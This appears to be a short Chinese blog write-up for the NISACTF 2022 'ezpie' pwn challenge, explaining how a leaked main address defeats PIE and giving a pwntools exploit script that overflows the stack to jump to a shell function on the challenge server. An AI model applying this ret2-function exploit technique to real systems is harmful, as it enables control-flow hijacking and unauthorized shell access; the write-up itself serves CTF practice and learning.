[NISACTF 2022]ezpie

开始重新学学pwn
其实发现reverse做多了过后对底层有了更深刻的认识后再看pwn就好很多了

这道题开了pie保护 但是它告诉我们了main函数的地址
image
我们就可以利用这个来算出偏移offset 进而得到shell函数的真正地址
从而利用栈溢出实现控制流劫持
这里要处理一下数据
exp.py

from pwn import *
from LibcSearcher import *

r = remote('node5.anna.nssctf.cn',28354)
context(os='linux',arch='amd64')
context.log_level = 'debug'

r.recvline()
main_addr = r.recvline()
print('---------------\n')
main_addr = int(str(main_addr)[2:-3],16)
print(hex(main_addr))
print('-------------\n')
base = 0x770
offset = main_addr - base
shell_addr = 0x80F
shell_addr = shell_addr + offset
payload = b''
payload += b'a'*(0x28+4)
payload += p32(shell_addr)
r.sendlineafter('Input:\n',payload)

r.interactive()
posted @ 2023-10-28 00:12  N0zoM1z0  阅读(53)  评论(0编辑  收藏  举报